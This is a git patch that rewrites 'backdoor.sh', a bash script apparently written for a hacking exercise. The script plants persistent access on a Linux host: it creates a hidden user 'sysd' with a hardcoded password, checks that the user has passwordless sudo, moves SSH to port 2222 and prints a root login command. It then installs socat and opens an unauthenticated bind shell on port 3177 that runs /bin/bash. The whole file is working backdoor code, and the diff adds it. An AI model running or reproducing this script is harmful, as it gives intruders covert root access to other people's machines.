From aff62e3265b560db2100f5d0b417e8163114a682 Mon Sep 17 00:00:00 2001
From: Harsimran Sidhu <22066581+PKHarsimran@users.noreply.github.com>
Date: Thu, 23 Nov 2023 15:15:39 +0000
Subject: [PATCH] Update backdoor.sh

---
 backdoor.sh | 95 +++++++++++++++++++++++------------------------------
 1 file changed, 42 insertions(+), 53 deletions(-)

diff --git a/backdoor.sh b/backdoor.sh
index e15c0c0..28e74e9 100644
--- a/backdoor.sh
+++ b/backdoor.sh
@@ -1,64 +1,53 @@
 #!/usr/bin/env bash
+
+# Ensure the script is run with root privileges
 if [ "$EUID" -ne 0 ]; then
-    echo "Please run as root"
-    exit
+    echo "Please run as root."
+    exit 1
 fi
- #exit out if user ran the script without root
-echo "Script running ... .. .. ."
-useradd -rMo -u 300 -p p4ssw0rd sysd #create a secret user with no home, and uid with 300
-groupmod -g 300 sysd # give the GID sa
-echo "Created secret user ..... .. . ."
-cat /etc/passwd | grep -i sysd #check if user is created
-#check if user has proper privileges for sysd mean u did the HW
-# visudo < this will edit the sudoer file
-# then look for sysd priv in file
-# add 'NOPASSWD:ALL' to end of 'sysd ALL=(ALL:ALL) '
-# sysd ALL=(ALL) NOPASSWD:ALL
-# hopefully you have completed that
-# then check if user has no password privileges
-var=$(cat /etc/sudoer.tmp | grep -i sysd | awk '{ print $3 }')
-vareql="NOPASSWD:ALL"
-if [ $var != $vareql ]; then
-  echo "Error sudoer file not properly configured .. .. ."
-  echo " fix it ! :<"
-  exit
+
+echo "Script running..."
+
+# Create a system user with specified UID and no home directory
+useradd -rMo -u 300 -p p4ssw0rd sysd
+
+# Assign the user to a group with the same GID
+groupmod -g 300 sysd
+echo "Created secret user."
+
+# Verify if the user was created
+grep -i sysd /etc/passwd
+
+# Check if the sudoers file is properly configured for the sysd user
+if ! grep -q 'sysd ALL=(ALL) NOPASSWD:ALL' /etc/sudoers; then
+    echo "Error: sudoers file not properly configured. Please fix it!"
+    exit 1
 else
-  echo " check complete :) "
+    echo "sudoers check complete."
 fi
-#######################################################
-################  Back DOOR           #################
-################            By        #################
-################    V   V    V   V    #################
-################        Hershey       #################
-################                      #################
-#######################################################
-#first stop the service if its running
-serCek=$(systemctl is-active ssh.service)
-if [ $ serCek = "active" ]; then
-    echo "service running .... shutting it down"
+
+# Stop the SSH service if it's running
+if systemctl is-active --quiet ssh.service; then
+    echo "SSH service is running. Shutting it down..."
     systemctl stop ssh.service
 fi
-echo "Starting the edditing..... >"
-sed -n 's/Port 22/Port 2222/g' /etc/ssh/ssh_config #edit the ssh_config file silently
-#restart the ssh services
+
+echo "Modifying SSH configuration..."
+
+# Change SSH port in the config file
+sed -i 's/#Port 22/Port 2222/g' /etc/ssh/sshd_config
+
+# Restart the SSH service
 systemctl restart ssh.service
-echo -e "/nServices restarted "
-TARGET_IP=$(hostname -I)
-echo -e "/n SSH : ssh root@$TARGET_IP -p 2222"
-###############################################################
-echo -e "
+echo "SSH service restarted."
+
+TARGET_IP=$(hostname -I | awk '{print $1}')
+echo "SSH command: ssh root@$TARGET_IP -p 2222"
 
-   _____  ____   ______ ___   ______
-  / ___/ / __ \ / ____//   | /_  __/
-  \__ \ / / / // /    / /| |  / /
- ___/ // /_/ // /___ / ___ | / /
-/____/ \____/ \____//_/  |_|/_/
+# Install socat
+apt-get install socat -y
 
+# Run socat listener in background
+socat TCP4-LISTEN:3177,fork EXEC:/bin/bash &
 
-"
-sudo apt-get install socat -y
-socat TCP4-Listen:3177,fork EXEC:/bin/bash & #run the listener on the victim computer
-#now computer will listen
-#to connect to t the victim computer
-#socat STDIO TCP4:TARGET_IP:3177
-#now you can enter commands like in linux #!/usr/bin/env
+echo "Listener setup complete."